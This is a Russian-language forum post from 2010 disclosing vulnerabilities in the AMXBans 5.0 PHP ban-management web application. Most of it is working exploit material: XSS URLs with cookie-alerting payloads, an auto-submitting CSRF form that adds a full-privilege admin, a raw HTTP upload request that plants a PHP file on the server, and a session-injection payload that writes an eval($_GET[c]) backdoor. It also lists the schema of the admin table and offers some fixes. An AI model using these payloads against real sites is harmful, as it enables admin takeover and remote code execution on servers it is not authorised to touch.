Показать сообщение отдельно
Старый 05.07.2010, 10:31   #1
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию Уязвимости AMXBans

Версия: 5.0 by YoMama/LuX & lantz69
Сайт: http://www.amxbans.net/

Папки доступные на запись:
  • include (скрипт сам создает конфиг, который располагается в этой папке)
  • smarty/templates_c (скомпиленные шаблоны смарти)
  • tmp (здесь сохраняются залитые на сервак списки банов)

XSS
/unavailable.php?message=%3Cscript%3Ealert(document .cookie)%3C/script%3E
Зависимости: register_globals = On
PHP код:
if ($_GET['msg'] == "frontend_disabled") {
    
$message lang("_ERRORAMXBANSDISABLED");
} else if (
$_GET['msg'] == "setupfile_exists") {
    
$message lang("_ERRORSETUPPHP");
} else if (
$_GET['msg'] == "magicquotes_off") {
    
$message lang("_ERRORMAGICQUOTES");
}
//...
$smarty->assign("message",$message); 
Подобные ошибки встречаются и в других скриптах. К примеру, /ban_details.php?ban_info[player_name]=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS (активная)
/login.php?uid=%3Cscript%3Ealert(/xss/)%3C/script%3E
/admin/log_search.php
Зависимости: register_globals = On
PHP код:
if(isset($_POST['uid'])){
    
$_POST['uid'] = secure($_POST['uid']);
}
//...
    
if (isset($_POST['uid'])) {
     
$uid $_POST['uid'];
    } else if ( isset(
$_SESSION['uid']) ){
     
$uid $_SESSION['uid'];
    }
//...
$add_log    mysql_query("INSERT INTO $config->logs VALUES ('', '$now', '".$_SERVER['REMOTE_ADDR']."', 'unknown', 'admin logins', '$uid failed to login')") or die (mysql_error()); 
Метод устранения:
В начала файла include/functions.lang.php дописать
PHP код:
function regGlobOff($array) {
    foreach(
$array as $k => $v) {
        unset(
$GLOBALS[$k]);
    }
}
error_reporting(0);
regGlobOff($_POST);
regGlobOff($_GET);
regGlobOff($_COOKIE); 
Path disclosure
Практически в каждом файле:
PHP код:
// Start session
session_start(); 
Вставляем в идентификатор сессии запрещенные символы и получаем раскрытие путей через ошибки.

Метод устранения:
В каждом скрипте перед session_start поставить оператор подавления ошибок @

CSRF
Добавляет нового веб-админа с максимальными полномочиями. "Демо" сплойт:
Код:
<body onload="document.forms.admins.submit()">
<form name='admins' method='post' action='http://test/amxbans/admin/admins_levels.php'>
	<input type='hidden' name='sektion' value='webadmins'>
	<input type='text' name='username' value="test">
	<input type='text' name='password' value="test">
	<input type='text' name='level' value='1'>
	<input type='hidden' name='action' value="insert">
</form>
Метод устранения:
Добавить следующий код, например в include/accesscontrol.inc.php
PHP код:
if( $_SERVER['REQUEST_METHOD'] == 'POST')
    if(!
preg_match('!^http(s)?://' preg_quote($_SERVER['HTTP_HOST']) . '!i'$_SERVER['HTTP_REFERER']))
        exit; 
Заливка шелла
/admin/import_bans.php
Имя файла для заливки должно заканчиваться на .cfg, и его размер не должен привышать 45000 байт. Загружать шелл надо указав тип файла "text/plain". Шелл зальется в папку tmp с тем же именем.
Пример:
Код:
$nc localhost 80
POST /amxbans/admin/import_bans.php HTTP/1.1
User-Agent: Opera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.0
Host: test
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru;q=0.9,ja;q=0.8,fr;q=0.7,de;q=0.6,es;q=0.5,it;q=0.4,pt;q=0.3,pt-PT;q=0.2,nl;q=0.1,sv;q=0.1,nb;q=0.1,da;q=0.1,fi;q=0.1,pl;q=0.1,zh-CN;q=0.1,zh-TW;q=0.1,ko;q=0.1
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: http://test/amxbans/admin/import_bans.php
Cookie: amxbans=oRb%3Ad8578edf8458ce06fbc5bb76a58c5ca4%3A1%3A%3A971f14d9f928e6458ccf6e3d3cb13a54%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes%3Ayes; PHPSESSID=29d9830bde44023b1e1c2affc6d82324
Cookie2: $Version=1
Connection: Close
TE: deflate, gzip, chunked, identity, trailers
Content-Length: 566
Content-Type: multipart/form-data; boundary=----------sLuN8T5jVOiPkDnr0wuySS

-------VOiPkDnr0wuySS
Content-Disposition: form-data; name="submitted"

true
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="banlog"; filename="info.php.cfg"
Content-Type: text/plain

<?php phpinfo(); ?>
------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_reason"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="ban_length"


------------sLuN8T5jVOiPkDnr0wuySS
Content-Disposition: form-data; name="importit"

import
------------sLuN8T5jVOiPkDnr0wuySS--



Таблицы:
  • amx_admins_servers
  • amx_amxadmins
  • amx_banhistory
  • amx_banreasons
  • amx_bans
  • amx_levels
  • amx_logs
  • amx_serverinfo
  • amx_webadmins (id, username, password, level, logcode) //password = md5 хеш

В сессию отлично пишется php код. Достаточно просто обратится к скрипту с параметром newlang. /ban_search.php?newlang=%3C?%20eval($_GET[c])?%3E
Получим:
Код:
lang|s:19:"<? eval($_GET[c])?>";uid|s:4:"test";pwd|s:32:"098f6bcd4621d373cade4e832627b4f6";uip|s:0:"";lvl|s:1:"1";userid|N;bans_add|s:3:"yes";bans_edit|s:2:"no";bans_delete|s:2:"no";bans_unban|s:2:"no";bans_import|s:2:"no";bans_export|s:2:"no";amxadmins_view|s:2:"no";amxadmins_edit|s:2:"no";webadmins_view|s:2:"no";webadmins_edit|s:2:"no";permissions_edit|s:2:"no";prune_db|s:2:"no";servers_edit|s:2:"no";ip_view|N;
AMXBans работает только c magic_quotes = On !
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием